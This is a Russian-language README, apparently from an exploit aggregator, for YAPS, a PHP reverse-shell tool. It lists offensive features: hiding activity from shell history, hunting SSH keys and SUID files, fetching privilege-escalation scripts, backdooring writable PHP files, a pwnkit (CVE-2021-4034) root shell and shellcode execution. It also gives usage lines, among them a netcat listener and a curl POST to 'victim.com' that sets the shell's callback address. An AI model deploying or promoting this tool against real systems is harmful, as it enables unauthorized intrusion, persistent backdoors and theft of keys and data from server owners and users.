## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NICKGUITAR-YAPS
# YAPS - **Е** щё **о** дна **P** HP **о** болочка

Да, как следует из названия, это ещё один PHP Reverse Shell, один из сотен доступных, но с некоторыми преимуществами. Это один PHP-файл, содержащий все свои функции, и вы можете управлять им через простой TCP-слушатель (например, `nc -lp 1337`).
В текущей версии (1.5) его основные функции поддерживают только системы Linux, но я планирую сделать его совместимым и с Windows.
На данный момент это первая версия, я ещё мало её тестировал, и _осталось многое, что я намерен сделать и улучшить в следующих версиях (**она ещё не готова!**)_, поэтому, пожалуйста, сообщите мне, если вы нашли какие-либо ошибки или у вас есть предложения по функциям или улучшениям. =)
## Возможности
* Один PHP-файл (не нужно устанавливать пакеты, библиотеки или загружать тонны файлов)
* Работает с netcat, ncat, socat, multi/handler и практически любым слушателем
* Настраиваемая защита паролем
* Не оставляет логов в .bash_history
* Выполняет некоторую разведку
* Сетевая информация (интерфейсы, правила iptables, активные порты)
* Информация о пользователе
* Список SUID и GUID файлов
* Поиск SSH-ключей (открытых и закрытых)
* Список crontab
* Список доступных для записи PHP-файлов
* Автоматическая загрузка LinPEAS, LinEnum или Linux Exploit Suggester
* Написание и выполнение PHP-кода на удалённом хосте
* Запуск интерактивного обратного шелла
* Дублирование столько соединений, сколько нужно
* Автоматическое обновление
* Инфицирование PHP-файлов бэкдорами
* Автоматический обратный рут-шелл через pwnkit (CVE-2021-4034)
* **[НОВОЕ] Отправка и выполнение шеллкода**
## Недостатки
* Соединение не зашифровано (пока) (nc не поддерживает SSL)
* Не полностью интерактивен (хотя вы можете запустить интерактивную оболочку с помощью `!interactive`)
* CTRL+C ломает его; нельзя использовать стрелки для навигации (если не использовать `rlwrap nc -lp <ip> <port>`)
## Использование
1. Настройте TCP-слушатель;
2. Укажите свой IP и порт. Это можно сделать:
* 2.1 Редактируя переменные в начале скрипта;
* 2.2 Установив их через POST-запрос (`curl -x POST -d "x=ip:port" victim.com/yaps.php`);
3. Откройте yaps.php в браузере, выполните curl или запустите через CLI;
* 3.1 Вы можете добавить `yaps.php?s` или `yaps.php?silent`, чтобы скрыть баннер
* 3.2 Можно запустить через CLI: `php yaps.php ip port`
5. Взламывайте!
## Рабочие команды
* `!help` — показать меню помощи
* `!all-colors` — переключить все цвета (совместимо с бесцветным TTY)
* `!color` — переключить цвет PS1 (только локально, переменные окружения не меняются)
* `!duplicate` — запустить ещё одно соединение YAPS
* `!enum` — загрузить LinPEAS и LinEnum в /tmp и подготовить их к использованию
* `!info` — вывести информацию о цели (перечисленную выше разведку)
* `!infect` — инфицировать доступные для записи PHP-файлы бэкдорами
* `!interactive` — запустить интерактивный обратный шелл на других портах (работает с sudo, su, mysql и т.д.)
* `!passwd` — опции пароля (включить, отключить, установить, изменить)
* `!php` — писать и выполнять PHP на удалённом хосте
* `!pwnkit` — пытается эксплуатировать CVE-2021-4034 и запустить рутовый обратный шелл
* `!shellcode` — отправить и выполнить шеллкод на удалённом хосте
## Скриншоты
Нажмите, чтобы развернуть раздел скриншотов
### Текущие команды:

### Разведка:

### Рутовый обратный шелл через CVE-2021-4034

### Отправка и выполнение шеллкода!

### Запуск интерактивной оболочки

### Дублирование сессии YAPS

## История изменений
**v1.5 — 12.02.2022**
* Добавлена команда `!shellcode` для приёма и выполнения произвольного шеллкода
* Улучшена функция `duplicate()` (теперь можно указывать диапазон портов)
* Имя функции изменено с `stabilize` на `interactive`
* Упакованы встроенные коды для экономии места
* Исправлены битые ссылки
* Добавлен префикс "TERM=xterm" ко всем командам
* Незначительные улучшения
**v1.4 — 04.02.2022**
* Добавлена команда `!pwnkit` для эксплуатации CVE-2021-4034 и запуска рутового обратного шелла
* Улучшена функция `verify_update()`
* Незначительные улучшения
**v1.3.1 — 01.08.2021**
* Исправлены ошибки
**v1.3 — 28.07.2021**
* Добавлена команда `!infect` для инфицирования PHP-файлов бэкдорами
* Изменён payload в `!stabilize` (исправлены ошибки)
**v1.2.2 — 18.07.2021**
* Изменена функция 'update'
* Изменена функция 'connect'
* Улучшена функция 'download'
* Исправлены ошибки
**v1.2.1 — 17.07.2021**
* Исправлены ошибки
**v1.2 — 17.07.2021**
* Добавлена команда `!duplicate` для запуска ещё одной оболочки
* Добавлена проверка обновлений (`--update|-u`)
* Добавлены аргументы CLI (`--help|-h`)
* Добавлен сокет через аргументы (`php yaps.php ip port`)
* Изменён метод стабилизации оболочки (больше не зависает)
* Изменён метод загрузки
* Изменён метод подключения через POST (принимает один параметр)
**v1.1 — 12.07.2021**
* Добавлена команда `!all-colors` для переключения цветов терминала и работы с бесцветными TTY
* Добавлена команда `exit` для закрытия сокета (выход из оболочки)
* Изменён payload в `!stabilize` — теперь сбрасывает HISTSIZE и HISTFILE
* Изменён метод получения информации о CPU и памяти в `!info`
**v1.0.1 — 08.07.2021**
* Заменено `[x,y,z]` на `array(x,y,z)` для улучшения совместимости со старыми версиями PHP
* Изменён payload для интерактивной оболочки для работы с PHP < 5.4
## Благодарности
Некоторые идеи были вдохновлены этими инструментами:
#### Linpeas
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
#### Linenum
https://github.com/rebootuser/LinEnum
#### Suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
#### Pentest Monkey
https://github.com/pentestmonkey/php-reverse-shell
#### Arthepsy эксплойт для pwnkit
https://github.com/arthepsy/CVE-2021-4034/